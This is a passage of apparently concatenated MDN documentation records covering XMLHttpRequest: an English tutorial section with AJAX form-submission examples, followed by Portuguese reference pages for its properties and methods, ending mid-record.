\"get\",\n oData.receiver.replace(\n /(?:\\?.\\*)?$/,\n oData.segments.length > 0 ? \"?\" + oData.segments.join(\"&\") : \"\",\n ),\n true,\n );\n oAjaxReq.send(null);\n } else {\n /\\* method is POST \\*/\n oAjaxReq.open(\"post\", oData.receiver, true);\n if (oData.technique === 3) {\n /\\* enctype is multipart/form-data \\*/\n var sBoundary =\n \"---------------------------\" + Date.now().toString(16);\n oAjaxReq.setRequestHeader(\n \"Content-Type\",\n \"multipart\\/form-data; boundary=\" + sBoundary,\n );\n oAjaxReq.sendAsBinary(\n \"--\" +\n sBoundary +\n \"\\r\\n\" +\n oData.segments.join(\"--\" + sBoundary + \"\\r\\n\") +\n \"--\" +\n sBoundary +\n \"--\\r\\n\",\n );\n } else {\n /\\* enctype is application/x-www-form-urlencoded or text/plain \\*/\n oAjaxReq.setRequestHeader(\"Content-Type\", oData.contentType);\n oAjaxReq.send(\n oData.segments.join(oData.technique === 2 ? \"\\r\\n\" : \"&\"),\n );\n }\n }\n }\n\n function processStatus(oData) {\n if (oData.status > 0) {\n return;\n }\n /\\* the form is now totally serialized! do something before sending it to the server... \\*/\n /\\* doSomething(oData); \\*/\n /\\* console.log(\"AJAXSubmit - The form is now serialized. Submitting...\"); \\*/\n submitData(oData);\n }\n\n function pushSegment(oFREvt) {\n this.owner.segments[this.segmentIdx] += oFREvt.target.result + \"\\r\\n\";\n this.owner.status--;\n processStatus(this.owner);\n }\n\n function plainEscape(sText) {\n /\\* how should I treat a text/plain form encoding? what characters are not allowed? this is what I suppose...: \\*/\n /\\* \"4\\3\\7 - Einstein said E=mc2\" ----> \"4\\\\3\\\\7\\ -\\ Einstein\\ said\\ E\\=mc2\" \\*/\n return sText.replace(/[\\s\\=\\\\]/g, \"\\\\$&\");\n }\n\n function SubmitRequest(oTarget) {\n var nFile,\n sFieldType,\n oField,\n oSegmReq,\n oFile,\n bIsPost = oTarget.method.toLowerCase() === \"post\";\n /\\* console.log(\"AJAXSubmit - Serializing form...\"); \\*/\n this.contentType =\n bIsPost && oTarget.enctype\n ? oTarget.enctype\n : \"application\\/x-www-form-urlencoded\";\n this.technique = bIsPost\n ? this.contentType === \"multipart\\/form-data\"\n ? 3\n : this.contentType === \"text\\/plain\"\n ? 2\n : 1\n : 0;\n this.receiver = oTarget.action;\n this.status = 0;\n this.segments = [];\n var fFilter = this.technique === 2 ? plainEscape : escape;\n for (var nItem = 0; nItem < oTarget.elements.length; nItem++) {\n oField = oTarget.elements[nItem];\n if (!oField.hasAttribute(\"name\")) {\n continue;\n }\n sFieldType =\n oField.nodeName.toUpperCase() === \"INPUT\"\n ? oField.getAttribute(\"type\").toUpperCase()\n : \"TEXT\";\n if (sFieldType === \"FILE\" && oField.files.length > 0) {\n if (this.technique === 3) {\n /\\* enctype is multipart/form-data \\*/\n for (nFile = 0; nFile < oField.files.length; nFile++) {\n oFile = oField.files[nFile];\n oSegmReq = new FileReader();\n /\\* (custom properties:) \\*/\n oSegmReq.segmentIdx = this.segments.length;\n oSegmReq.owner = this;\n /\\* (end of custom properties) \\*/\n oSegmReq.onload = pushSegment;\n this.segments.push(\n 'Content-Disposition: form-data; name=\"' +\n oField.name +\n '\"; filename=\"' +\n oFile.name +\n '\"\\r\\nContent-Type: ' +\n oFile.type +\n \"\\r\\n\\r\\n\",\n );\n this.status++;\n oSegmReq.readAsBinaryString(oFile);\n }\n } else {\n /\\* enctype is application/x-www-form-urlencoded or text/plain or method is GET: files will not be sent! \\*/\n for (\n nFile = 0;\n nFile < oField.files.length;\n this.segments.push(\n fFilter(oField.name) +\n \"=\" +\n fFilter(oField.files[nFile++].name),\n )\n );\n }\n } else if (\n (sFieldType !== \"RADIO\" && sFieldType !== \"CHECKBOX\") ||\n oField.checked\n ) {\n /\\* field type is not FILE or is FILE but is empty \\*/\n this.segments.push(\n this.technique === 3 /\\* enctype is multipart/form-data \\*/\n ? 'Content-Disposition: form-data; name=\"' +\n oField.name +\n '\"\\r\\n\\r\\n' +\n oField.value +\n \"\\r\\n\"\n : /\\* enctype is application/x-www-form-urlencoded or text/plain or method is GET \\*/\n fFilter(oField.name) + \"=\" + fFilter(oField.value),\n );\n }\n }\n processStatus(this);\n }\n\n return function (oFormElement) {\n if (!oFormElement.action) {\n return;\n }\n new SubmitRequest(oFormElement);\n };\n })();\n </script>\n  </head>\n  <body>\n    <h1>Sending forms with pure AJAX</h1>\n\n    <h2>Using the GET method</h2>\n\n    <form\n action=\"register.php\"\n method=\"get\"\n onsubmit=\"AJAXSubmit(this); return false;\">\n      <fieldset>\n        <legend>Registration example</legend>\n        <p>\n          First name: <input type=\"text\" name=\"firstname\" /><br />\n          Last name: <input type=\"text\" name=\"lastname\" />\n        </p>\n        <p>\n          <input type=\"submit\" value=\"Submit\" />\n        </p>\n      </fieldset>\n    </form>\n\n    <h2>Using the POST method</h2>\n    <h3>Enctype: application/x-www-form-urlencoded (default)</h3>\n\n    <form\n action=\"register.php\"\n method=\"post\"\n onsubmit=\"AJAXSubmit(this); return false;\">\n      <fieldset>\n        <legend>Registration example</legend>\n        <p>\n          First name: <input type=\"text\" name=\"firstname\" /><br />\n          Last name: <input type=\"text\" name=\"lastname\" />\n        </p>\n        <p>\n          <input type=\"submit\" value=\"Submit\" />\n        </p>\n      </fieldset>\n    </form>\n\n    <h3>Enctype: text/plain</h3>\n\n    <form\n action=\"register.php\"\n method=\"post\"\n enctype=\"text/plain\"\n onsubmit=\"AJAXSubmit(this); return false;\">\n      <fieldset>\n        <legend>Registration example</legend>\n        <p>Your name: <input type=\"text\" name=\"user\" /></p>\n        <p>\n          Your message:<br />\n          <textarea name=\"message\" cols=\"40\" rows=\"8\"></textarea>\n        </p>\n        <p>\n          <input type=\"submit\" value=\"Submit\" />\n        </p>\n      </fieldset>\n    </form>\n\n    <h3>Enctype: multipart/form-data</h3>\n\n    <form\n action=\"register.php\"\n method=\"post\"\n enctype=\"multipart/form-data\"\n onsubmit=\"AJAXSubmit(this); return false;\">\n      <fieldset>\n        <legend>Upload example</legend>\n        <p>\n          First name: <input type=\"text\" name=\"firstname\" /><br />\n          Last name: <input type=\"text\" name=\"lastname\" /><br />\n          Sex:\n          <input id=\"sex\\_male\" type=\"radio\" name=\"sex\" value=\"male\" />\n          <label for=\"sex\\_male\">Male</label>\n          <input id=\"sex\\_female\" type=\"radio\" name=\"sex\" value=\"female\" />\n          <label for=\"sex\\_female\">Female</label><br />\n          Password: <input type=\"password\" name=\"secret\" /><br />\n          What do you prefer:\n          <select name=\"image\\_type\">\n            <option>Books</option>\n            <option>Cinema</option>\n            <option>TV</option>\n          </select>\n        </p>\n        <p>\n          Post your photos:\n          <input type=\"file\" multiple name=\"photos[]\" />\n        </p>\n        <p>\n          <input\n id=\"vehicle\\_bike\"\n type=\"checkbox\"\n name=\"vehicle[]\"\n value=\"Bike\" />\n          <label for=\"vehicle\\_bike\">I have a bike</label><br />\n          <input\n id=\"vehicle\\_car\"\n type=\"checkbox\"\n name=\"vehicle[]\"\n value=\"Car\" />\n          <label for=\"vehicle\\_car\">I have a car</label>\n        </p>\n        <p>\n          Describe yourself:<br />\n          <textarea name=\"description\" cols=\"50\" rows=\"8\"></textarea>\n        </p>\n        <p>\n          <input type=\"submit\" value=\"Submit\" />\n        </p>\n      </fieldset>\n    </form>\n  </body>\n</html>\n```\n\n\nTo test it, please, create a page named **register.php** (which is the `action` attribute of these sample forms) and just put the following *minimalistic* content:\n\n\n```php\n<?php\n\n /\\* register.php \\*/\n\n header(\"Content-type: text/plain\");\n\n echo \":: data received via GET ::\\n\\n\";\n print\\_r($\\_GET);\n\n echo \"\\n\\n:: Data received via POST ::\\n\\n\";\n print\\_r($\\_POST);\n\n echo \"\\n\\n:: Data received as \\\"raw\\\" (text/plain encoding) ::\\n\\n\";\n if (isset($HTTP\\_RAW\\_POST\\_DATA)) { echo $HTTP\\_RAW\\_POST\\_DATA; }\n\n echo \"\\n\\n:: Files received ::\\n\\n\";\n print\\_r($\\_FILES);\n\n?>\n```\n\n\nThe syntax of this script is the following:\n```\n\nAJAXSubmit(myForm);\n```\n\n\n**Nota:** This little *vanilla* framework **uses the `FileReader` (en-US) API**, which is *a recent technique* (but only when there are files to upload, the `method` of the `<form>` (en-US) is `POST` and the `enctype` attribute is setted to `multipart/form-data`). For this reason, **the *pure-AJAX* upload is to be considered an experimental technique**. Instead, if you don't want to upload files, this framework will not use any recent API.\n Note also that **the best way to send binary content is using ArrayBuffers (en-US) or Blobs (en-US) in conjuncton with the `send()` method and, possibly, with the `readAsArrayBuffer()` (en-US) method of the `FileReader` (en-US) API**. But, since the aim of this little script is to work with a *stringifiable (en-US)* raw data, we used the `sendAsBinary()` method in conjunction with the `readAsBinaryString()` (en-US) method of the `FileReader` (en-US) API. So, this is **the best solution when working with a relatively few data which must be stringified (en-US) in order to be reused later**. Anyhow, since working with strings instead of typed arrays (en-US) implies a greater waste of resources, this script makes sense only when you are dealing with *small* files (like images, documents, mp3, etc.). Otherwise, if you don't want to stringify the submitted or uploaded data, in addition to typed arrays (en-US), consider also the use of **the `FormData` (en-US) API**.\n\n\n### Using FormData objects\n\nThe `FormData` (en-US) constructor lets you compile a set of key/value pairs to send using `XMLHttpRequest`. Its primarily intended for use in sending form data, but can be used independently from forms in order to transmit keyed data. The transmitted data is in the same format that the form's `submit()` method would use to send the data if the form's encoding type were set to \"multipart/form-data\". FormData objects can be utilized in a number of ways with an XMLHttpRequest. For examples and explanations of how one can utilize FormData with XMLHttpRequests see the Using FormData Objects (en-US) page. For didactic purpose only we post here **a *translation* of the previous example transformed so as to make use of the `FormData` API**. Note the brevity of the code:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />\n    <title>Sending forms with FormData &ndash; MDN</title>\n    <script type=\"text/javascript\">\n \"use strict\";\n\n function ajaxSuccess() {\n alert(this.responseText);\n }\n\n function AJAXSubmit(oFormElement) {\n if (!oFormElement.action) {\n return;\n }\n var oReq = new XMLHttpRequest();\n oReq.onload = ajaxSuccess;\n if (oFormElement.method.toLowerCase() === \"post\") {\n oReq.open(\"post\", oFormElement.action, true);\n oReq.send(new FormData(oFormElement));\n } else {\n var oField,\n sFieldType,\n nFile,\n sSearch = \"\";\n for (var nItem = 0; nItem < oFormElement.elements.length; nItem++) {\n oField = oFormElement.elements[nItem];\n if (!oField.hasAttribute(\"name\")) {\n continue;\n }\n sFieldType =\n oField.nodeName.toUpperCase() === \"INPUT\"\n ? oField.getAttribute(\"type\").toUpperCase()\n : \"TEXT\";\n if (sFieldType === \"FILE\") {\n for (\n nFile = 0;\n nFile < oField.files.length;\n sSearch +=\n \"&\" +\n escape(oField.name) +\n \"=\" +\n escape(oField.files[nFile++].name)\n );\n } else if (\n (sFieldType !== \"RADIO\" && sFieldType !== \"CHECKBOX\") ||\n oField.checked\n ) {\n sSearch += \"&\" + escape(oField.name) + \"=\" + escape(oField.value);\n }\n }\n oReq.open(\n \"get\",\n oFormElement.action.replace(\n /(?:\\?.\\*)?$/,\n sSearch.replace(/^&/, \"?\"),\n ),\n true,\n );\n oReq.send(null);\n }\n }\n </script>\n  </head>\n  <body>\n    <h1>Sending forms with FormData</h1>\n\n    <h2>Using the GET method</h2>\n\n    <form\n action=\"register.php\"\n method=\"get\"\n onsubmit=\"AJAXSubmit(this); return false;\">\n      <fieldset>\n        <legend>Registration example</legend>\n        <p>\n          First name: <input type=\"text\" name=\"firstname\" /><br />\n          Last name: <input type=\"text\" name=\"lastname\" />\n        </p>\n        <p>\n          <input type=\"submit\" value=\"Submit\" />\n        </p>\n      </fieldset>\n    </form>\n\n    <h2>Using the POST method</h2>\n    <h3>Enctype: application/x-www-form-urlencoded (default)</h3>\n\n    <form\n action=\"register.php\"\n method=\"post\"\n onsubmit=\"AJAXSubmit(this); return false;\">\n      <fieldset>\n        <legend>Registration example</legend>\n        <p>\n          First name: <input type=\"text\" name=\"firstname\" /><br />\n          Last name: <input type=\"text\" name=\"lastname\" />\n        </p>\n        <p>\n          <input type=\"submit\" value=\"Submit\" />\n        </p>\n      </fieldset>\n    </form>\n\n    <h3>Enctype: text/plain</h3>\n\n    <p>The text/plain encoding is not supported by the FormData API.</p>\n\n    <h3>Enctype: multipart/form-data</h3>\n\n    <form\n action=\"register.php\"\n method=\"post\"\n enctype=\"multipart/form-data\"\n onsubmit=\"AJAXSubmit(this); return false;\">\n      <fieldset>\n        <legend>Upload example</legend>\n        <p>\n          First name: <input type=\"text\" name=\"firstname\" /><br />\n          Last name: <input type=\"text\" name=\"lastname\" /><br />\n          Sex:\n          <input id=\"sex\\_male\" type=\"radio\" name=\"sex\" value=\"male\" />\n          <label for=\"sex\\_male\">Male</label>\n          <input id=\"sex\\_female\" type=\"radio\" name=\"sex\" value=\"female\" />\n          <label for=\"sex\\_female\">Female</label><br />\n          Password: <input type=\"password\" name=\"secret\" /><br />\n          What do you prefer:\n          <select name=\"image\\_type\">\n            <option>Books</option>\n            <option>Cinema</option>\n            <option>TV</option>\n          </select>\n        </p>\n        <p>\n          Post your photos:\n          <input type=\"file\" multiple name=\"photos[]\" />\n        </p>\n        <p>\n          <input\n id=\"vehicle\\_bike\"\n type=\"checkbox\"\n name=\"vehicle[]\"\n value=\"Bike\" />\n          <label for=\"vehicle\\_bike\">I have a bike</label><br />\n          <input\n id=\"vehicle\\_car\"\n type=\"checkbox\"\n name=\"vehicle[]\"\n value=\"Car\" />\n          <label for=\"vehicle\\_car\">I have a car</label>\n        </p>\n        <p>\n          Describe yourself:<br />\n          <textarea name=\"description\" cols=\"50\" rows=\"8\"></textarea>\n        </p>\n        <p>\n          <input type=\"submit\" value=\"Submit\" />\n        </p>\n      </fieldset>\n    </form>\n  </body>\n</html>\n```\n\n\n**Nota:** As we said, **`FormData` objects are not stringifiable (en-US) objects**. If you want to stringify a submitted data, use the previous *pure*-AJAX example. Note also that, although in this example there are some `file` `<input>` fields, **when you submit a form through the `FormData` API you do not need to use the `FileReader` (en-US) API also**: files are automatically loaded and uploaded.\n\nCross-site XMLHttpRequest\n-------------------------\n\nModern browsers support cross-site requests by implementing the web applications working group's Access Control for Cross-Site Requests (en-US) standard. As long as the server is configured to allow requests from your web application's origin, `XMLHttpRequest` will work. Otherwise, an `INVALID_ACCESS_ERR` exception is thrown.\n\nBypassing the cache\n-------------------\n\nA, cross-browser compatible approach to bypassing the cache is to append a timestamp to the URL, being sure to include a \"?\" or \"&\" as appropriate. For example:\n```\n\nhttp://foo.com/bar.html -> http://foo.com/bar.html?12345\nhttp://foo.com/bar.html?foobar=baz -> http://foo.com/bar.html?foobar=baz&12345\n```\n\n\nSince the local cache is indexed by URL, this causes every request to be unique, thereby bypassing the cache.\n\nYou can automatically adjust URLs using the following code:\n\n\n```js\nvar oReq = new XMLHttpRequest();\n\noReq.open(\n  \"GET\",\n  url + (/\\?/.test(url) ? \"&\" : \"?\") + new Date().getTime(),\n  true,\n);\noReq.send(null);\n```\n\nSecurity\n--------\n\nThe recommended way to enable cross-site scripting is to use the `Access-Control-Allow-Origin` HTTP header in the response to the XMLHttpRequest.\n\n### XMLHttpRequests being stopped\n\nIf you end up with an XMLHttpRequest having `status=0` and `statusText=null`, it means that the request was not allowed to be performed. It was `UNSENT`. A likely cause for this is when the `XMLHttpRequest` origin (at the creation of the XMLHttpRequest) has changed when the XMLHttpRequest is then `open()`. This case can happen for example when one has an XMLHttpRequest that gets fired on an onunload event for a window: the XMLHttpRequest gets in fact created when the window to be closed is still there, and then the request is sent (ie `open()`) when this window has lost its focus and potentially different window has gained focus. The way to avoid this problem is to set a listener on the new window \"activate\" event that gets set when the old window has its \"unload\" event fired.\n\nUsing XMLHttpRequest from JavaScript modules / XPCOM components\n---------------------------------------------------------------\n\nInstantiating `XMLHttpRequest` from a JavaScript module or an XPCOM component works a little differently; it can't be instantiated using the `XMLHttpRequest()` constructor. The constructor is not defined inside components and the code results in an error. The best way to work around this is to use the XPCOM component constructor.\n\n\n```js\nconst XMLHttpRequest = Components.Constructor(\n  \"@mozilla.org/xmlextras/xmlhttprequest;1\",\n);\nvar oReq = XMLHttpRequest();\n```\n\n\nUnfortunately in versions of Gecko prior to Gecko 16 there is a bug which can cause requests created this way to be cancelled for no reason. If you need your code to work on Gecko 15 or earlier, you can get the XMLHttpRequest constructor from the hidden DOM window like so.\n\n\n```js\nconst { XMLHttpRequest } = Components.classes[\n  \"@mozilla.org/appshell/appShellService;1\"\n].getService(Components.interfaces.nsIAppShellService).hiddenDOMWindow;\nvar oReq = XMLHttpRequest();\n```\n\nSee also\n--------\n\n1. MDC AJAX introduction\n2. HTTP access control (en-US)\n3. How to check the security state of an XMLHTTPRequest over SSL (en-US)\n4. XMLHttpRequest - REST and the Rich User Experience\n5. Microsoft documentation\n6. Apple developers' reference\n7. \"Using the XMLHttpRequest Object\" (jibbering.com)\n8. The XMLHttpRequest Object: W3C Specification\n9. Web Progress Events specification"}
{"title":"XMLHttpRequest.readyState - APIs da Web","text":"XMLHttpRequest.readyState\n=========================\n\nA propriedade **XMLHttpRequest.readyState** retorna o estado de um XMLHttpRequest. Uma requisição XHR que existe em um dos seguintes estados:\n\n| Valor | Estado | Descrição |\n| --- | --- | --- |\n| `0` | `UNSENT` | Um cliente foi criado. Mas o método `open()` não foi chamado ainda. |\n| `1` | `OPENED` | `O método open() foi chamado`. |\n| `2` | `HEADERS_RECEIVED` | `o método send()` foi chamado e os cabeçalhos e status estão disponíveis . |\n| `3` | `LOADING` | Baixando e `responseText` contem os dados parciais. |\n| `4` | `DONE` | Operação concluída. |\n\nUNSENT\n\nO XMLHttpRequest foi criado. Mas o método open() não foi chamado ainda.\n\nOPENED\n\nO método open() foi invocado. Durante esse estado, os headers da requisição podem ser inseridos usando o método setRequestHeader() e o método send() pode ser chamado, iniciando a busca.\n\nHEADERS\\_RECEIVED\n\nO método send() foi chamado e os cabeçalhos de respostas foram recebidos.\n\nLOADING\n\nA resposta da requisição está sendo recebida. se o `responseType` (en-US) for \"text\" ou um texto em branco, o `responseText` (en-US) terá o texto parcial da resposta conforme seu carregamento.\n\nDONE\n\nA Operação de busca está completa. Isso pode significar que a trasferência foi concluída com êxito ou que falhou.\n\n\n**Nota:** Os nomes de estado são diferentes no Internet Explorer. Ao invés de `UNSENT`, `OPENED`, `HEADERS_RECEIVED`, `LOADING` e `DONE`, os nomes usados são: `READYSTATE_UNINITIALIZED`(0), `READYSTATE_LOADING`(1), `READYSTATE_LOADED`(2), `READYSTATE_INTERACTIVE`(3) e `READYSTATE_COMPLETE` (4).\n\nExemplo\n-------\n\n\n```js\nvar xhr = new XMLHttpRequest();\nconsole.log(\"UNSENT\", xhr.readyState); // readyState will be 0\n\nxhr.open(\"GET\", \"/api\", true);\nconsole.log(\"OPENED\", xhr.readyState); // readyState will be 1\n\nxhr.onprogress = function () {\n  console.log(\"LOADING\", xhr.readyState); // readyState will be 3\n};\n\nxhr.onload = function () {\n  console.log(\"DONE\", xhr.readyState); // readyState will be 4\n};\n\nxhr.send(null);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # states |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"XMLHttpRequest.open() - APIs da Web","text":"XMLHttpRequest.open()\n=====================\n\nO `XMLHttpRequest` método\\*\\*`open()`\\*\\* inicializa uma nova requisição, ou reinicializa uma requisição já existente.\n\n**Nota:** Chamar este método para uma requisição já ativada (uma que `open()` já tenha sido chamada) é equivalente a chamar `abort()`.\n\nSintaxe\n-------\n```\n\nXMLHttpRequest.open(method, url)\nXMLHttpRequest.open(method, url, async)\nXMLHttpRequest.open(method, url, async, user)\nXMLHttpRequest.open(method, url, async, user, password)\n```\n\n### Parâmetros\n\n`method`\n\nO método de requisição HTTP para ser usado, como `\"GET\"`, `\"POST\"`, `\"PUT\"`, `\"DELETE\"`, etc. Ignorado para URLs não-HTTP(S).\n\n`url`\n\nUm `DOMString` representando a URL para enviar a requisição.\n\n`async` Optional\n\nParâmetro booleano opcional, valor padrão `true`, indica quando realizar a operação de forma assíncrona. Se este valor for `false`, o método `send()` não retorna nada até que a resposta da requisição seja recebida. Se o valor for `true`, notificação de uma transação concluída é provida usando event listeners. Isso *deve* ser verdadeiro se o atributo `multipart` é `true`, ou uma exceção será lançada.\n\n**Nota:** Requisições Síncronas no thread principal podem ser facilmente disruptivas para a experiência de usuário e devem ser evitadas; de fato, muitos navegadores descontinuaram inteiramente o suporte para XHR síncrono no thread principal. Requisições síncronas são permitidas nos `Worker`s.\n\n`user` Optional\n\nO nome de usuário opcional para ser usado em autenticação; por padrão, isso é o valor `null`.\n\n`password` Optional\n\nA senha de usuário opcional para ser usado em autenticação; por padrão, isso é o valor `null`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # the-open()-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando XMLHttpRequest\n* Métodos Relacionados ao `XMLHttpRequest`: `setRequestHeader()`,`send()`, e `abort()`"}
{"title":"XMLHttpRequest.send() - APIs da Web","text":"XMLHttpRequest.send()\n=====================\n\nO método **`send()`**, do `XMLHttpRequest`, envia uma requisição para o servidor.Se a solicitação for assíncrona (que é o padrão), esse método retornará assim que a solicitação for enviada e o resultado for entregue usando eventos. Se a solicitação for síncrona, esse método não retornará até que a resposta chegue.\n\n`send()` aceita um parâmetro opcional que permite especificar o corpo da solicitação; isso é usado principalmente para solicitações como `PUT`. Se o método de solicitação for `GET` ou `HEAD`, o parâmetro `body` será ignorado e o corpo da solicitação será definido como `null`.\n\nSe nenhum cabeçalho `Accept` tiver sido definido usando `setRequestHeader()`, um cabeçalho `Accept` com o tipo `\"*/*\"` (qualquer tipo) é enviado.\n\nSintaxe\n-------\n```\n\nXMLHttpRequest.send(body)\n```\n\n### Parâmetros\n\n`body` Optional\n\nUm corpo de dados a ser enviado na solicitação XHR. Isso pode ser:\n\n* Um `Document`, caso em que é serializado antes de ser enviado.\n* Um `BodyInit`, que conforme a espeficicação Fetch, pode ser um objeto `Blob`, `BufferSource`, `FormData`, `URLSearchParams`, `ReadableStream` (en-US) ou `USVString` (en-US).\n\nSe nenhum valor for espeficicado para o corpo, o valor padrão de `null` é usado.\n\nA melhor maneira de enviar conteúdo binário (por exemplo, em uploads de arquivos) é usando um `ArrayBufferView` (en-US) ou `Blob` em conjunto com o método `send()`.\n\n### Valor retornado\n\n`undefined.`\n\n### Exceções\n\n| Exceção | Descrição |\n| --- | --- |\n| `InvalidStateError` | `send()` já foi invocado para a requisição, e/ou a requisição está completa. |\n| `NetworkError` | O tipo de recurso a ser buscada é um `Blob` e o método não é `GET`. |\n\nExemplo: GET\n------------\n```\n\nvar xhr = new XMLHttpRequest();\nxhr.open('GET', '/server', true);\n\nxhr.onload = function () {\n  // Requisição finalizada. Faça o processamento aqui.\n};\n\nxhr.send(null);\n// xhr.send('string');\n// xhr.send(new Blob());\n// xhr.send(new Int8Array());\n// xhr.send(document);\n```\n\nExemplo: POST\n-------------\n```\n\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", '/server', true);\n\n// Envia a informação do cabeçalho junto com a requisição.\nxhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n\nxhr.onreadystatechange = function() { // Chama a função quando o estado mudar.\n    if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {\n        // Requisição finalizada. Faça o processamento aqui.\n    }\n}\nxhr.send(\"foo=bar&lorem=ipsum\");\n// xhr.send(new Int8Array());\n// xhr.send(document);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # the-send()-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando XMLHttpRequest\n* Obter arquivo HTML usando XMLHttpRequest (en-US)"}
{"title":"XMLHttpRequest.abort() - APIs da Web","text":"XMLHttpRequest.abort()\n======================\n\nO método **XMLHttpRequest.abort()** aborta a requisição se ela já tiver sido enviada. Quando uma requisição é abortada, o seu readyState é modificado para 0 (Desativado), mas o evento readystatechange não é disparado.\n\nSitaxe\n------\n```\n\nxhrInstance.abort();\n```\n\n### Parâmetros\n\nNenhum.\n\n### Retorno\n\nNenhum.\n\nExemplo\n-------\n\n\n```js\nvar xhr = new XMLHttpRequest(),\n  method = \"GET\",\n  url = \"https://developer.mozilla.org/\";\nxhr.open(method, url, true);\n\nxhr.send();\n\nxhr.abort();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # the-abort()-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando o XMLHttpRequest"}
{"title":"XMLHttpRequest.onreadystatechange - APIs da Web","text":"XMLHttpRequest.onreadystatechange\n=================================\n\nUm `EventHandler` (en-US) é chamado sempre que o atributo `readyState` é modificado. O callback é chamado a partir da interface do usuário. A propriedade **`XMLHttpRequest.onreadystatechange`** contém o manipulador de eventos que é chamado quando o evento readystatechange é disparado, ou seja, toda vez que a propriedade `readyState` do `XMLHttpRequest` é modificada.\n\n**Aviso:** **Atenção:** Isso não deve ser usado com solicitações síncronas e não deve ser usado como código nativo.\n\nO evento `readystatechange` não será chamado quando a `XMLHttpRequest` request for cancelada pelo método abort().\n\n**Nota:** **Atualização**: Está disparando na última versão de navegadores (Firefox 51.0.1, Opera 43.0.2442.991, Safari 10.0.3 (12602.4.8), Chrome 54.0.2840.71, Edge, IE11). Exemplo aqui - *basta recarregar a página algumas vezes*.\n\nSitaxe\n------\n```\n\nXMLHttpRequest.onreadystatechange = callback;\n```\n\n### Valores\n\n* `callback` é a função que será executada quando o readyState mudar.\nExemplo\n-------\n\n\n```js\nvar xhr = new XMLHttpRequest(),\n  method = \"GET\",\n  url = \"https://developer.mozilla.org/\";\n\nxhr.open(method, url, true);\nxhr.onreadystatechange = function () {\n  if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {\n    console.log(xhr.responseText);\n  }\n};\nxhr.send();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # event-xhr-readystatechange |\n| XMLHttpRequest Standard # handler-xhr-onreadystatechange |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"XMLHttpRequest.timeout - APIs da Web","text":"XMLHttpRequest.timeout\n======================\n\nA propriedade **`XMLHttpRequest.timeout`** é um `unsigned long` que representa o número de milisegundos que uma requisição deve esperar até ser automaticamente terminada. O valor padrão para essa propriedade é 0, o que significa que o navegador deverá esperar uma resposta indefinidamente. A propriedade Timeout não deveria ser usada para requisições XMLHttpRequests síncronas em um document environment (en-US) ou uma exceção do tipo `InvalidAccessError` será lançada. Quando um timeout ocorre, o evento timeout (en-US) é disparado.\n\n**Nota:** Você não pode usar um timeout para requisições síncronas dentro de uma janela.\n\nUtilizando um timeout com uma requisição assíncrona\n\nNo Internet Explorer, a propriedade timeout pode ser usada apenas depois de o método open() ter sido invocado e antes de se chamar o método send().\n\nExemplo\n-------\n\n\n```js\nvar xhr = new XMLHttpRequest();\nxhr.open(\"GET\", \"/server\", true);\n\nxhr.timeout = 2000; // tempo em milisegundos\n\nxhr.onload = function () {\n  // Requisição finalizada. O processamento deve ser colocado aqui.\n};\n\nxhr.ontimeout = function (e) {\n  // Timeout na chamada XMLHttpRequest. Ação de timeout aqui.\n};\n\nxhr.send(null);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # the-timeout-attribute |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"XMLHttpRequest.setRequestHeader() - APIs da Web","text":"XMLHttpRequest.setRequestHeader()\n=================================\n\nO método **`setRequestHeader()`** de `XMLHttpRequest` define o valor do cabeçalho de uma requisição HTTP. Ao usar `setRequestHeader()`, você deve chamá-lo depois de chamar o método `open()`, mas antes de chamar o método `send()`. Se esse método é chamado muitas vezes com o mesmo cabeçalho, os valores são somados em um único cabeçalho de requisição HTTP.\n\nA cada vez que você chama `setRequestHeader()` depois de ter chamado-o pelo menos uma vez, o texto especificado é somado ao final do conteúdo do cabeçalho existente.\n\nSe nenhum cabeçalho `Accept` foi definido usando este método, um cabeçalho `Accept` com o tipo `\"*/*\"` é enviado com a requisição quando `send()` é chamado.\n\nPor razões de segurança, alguns cabeçalhos só podem ser controlados pelo agente do usuário. Esses cabeçalhos incluem o cabeçalho forbidden header names e o cabeçalho forbidden response header names.\n\n**Nota:** **Observação:** Para seu campos personalizados, você pode encontrar uma exceção \"**not allowed by Access-Control-Allow-Headers in preflight response**\" quando você envia requisições através de domínios. Neste caso, você precisa definir o cabeçalho `Access-Control-Allow-Headers` no seu cabeçalho de resposta no lado do servidor.\n\nSintaxe\n-------\n```\n\nXMLHttpRequest.setRequestHeader(header, value)\n```\n\n### Parâmetros\n\n`header`\n\nO nome do cabeçalho cujo valor está para ser definido.\n\n`value`\n\nO valor a ser definido como o corpo do cabeçalho.\n\n### Valor de retorno\n\n`undefined`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # the-setrequestheader()-method |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja 